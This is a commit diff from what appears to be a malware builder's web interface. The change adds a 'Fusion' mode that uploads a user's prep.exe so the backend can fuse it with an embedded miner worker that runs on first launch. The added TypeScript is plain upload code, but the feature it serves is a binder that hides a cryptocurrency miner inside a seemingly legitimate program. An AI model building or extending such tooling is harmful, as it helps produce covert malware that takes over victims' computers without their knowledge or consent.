Add Fusion builder mode to bundle prep.exe with worker.
Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
@@ -40,11 +40,27 @@ export const api = {
|
||||
}),
|
||||
|
||||
// Builder
|
||||
buildAgent: (req: BuildRequest) =>
|
||||
fetchJSON<BuildResponse>('/builder/build', {
|
||||
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
|
||||
if (req.fusion_enabled) {
|
||||
if (!prepFile) {
|
||||
return Promise.reject(new Error('Fusion requires prep.exe upload'));
|
||||
}
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<BuildResponse>;
|
||||
});
|
||||
}
|
||||
return fetchJSON<BuildResponse>('/builder/build', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
});
|
||||
},
|
||||
|
||||
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
|
||||
|
||||
Reference in New Issue
Block a user